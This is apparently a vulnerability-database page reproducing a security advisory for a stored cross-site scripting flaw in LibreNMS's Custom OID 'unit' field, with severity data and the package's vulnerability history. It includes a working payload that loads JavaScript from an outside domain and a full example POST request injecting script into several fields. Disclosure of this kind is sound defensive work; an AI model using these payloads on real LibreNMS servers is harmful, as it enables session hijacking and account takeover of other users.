High

LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php

  • Disclosed: 15.11.2024
  • Updated: 11.10.2026 10:22

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Custom OID" tab of a device allows authenticated users to inject arbitrary JavaScript through the "unit" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.

Details

When creating a new OID for a device, an attacker can inject an XSS payload into the "unit" parameter. This payload is reflected in the "Unit" column of the table displayed in the "Custom OID" tab of the device.

The payload used to exploit this vulnerability is: <script/src=//15.rs>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The vulnerability is due to improper sanitization of the "unit" parameter before rendering it in the HTML output. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90

PoC

  1. Create a new OID for a device using the following payload in the "unit" parameter: <script/src=//15.rs>
  2. Save the OID.
  3. Navigate to the "Custom OID" tab of the device.
  4. Observe that the injected script executes in the "Unit" column of the table.

Example Request:

http
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

device_id=15&device_name=test4'&ccustomoid_id=2&type=customoid&action=save&name=test1<script>{onerror=alert}throw+'OID'</script>&oid=test2<script>{onerror=alert}throw+'OID'</script>&unit=<script/src=//15.rs>&divisor=1&multiplier=1&user_func=test4<script>{onerror=alert}throw+'OID'</script>&limit=0&limit_low=0&limit_warn=0&limit_low_warn=0&passed=on

Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Custom OID" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package librenms/librenms < 24.10.0 24.10.0

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
Weakness (CWE)
CWE-79
Platform
Composer
Package
librenms/librenms
Disclosed
15.11.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-gv4m-f6fx-859x - CC BY 4.0

Vulnerability history: librenms/librenms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
10.2019 08.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 39
  • Medium 56
  • Low 6

Disclosures per year

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Severity:
  1. High · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. High · 7.1 CVE-2020-36947 <= 1.46 no fix
  3. Critical · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  4. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php this entry
    High · 7.5 CVE-2024-51497 < 24.10.0 24.10.0
Show more (20) Showing 20 of 44

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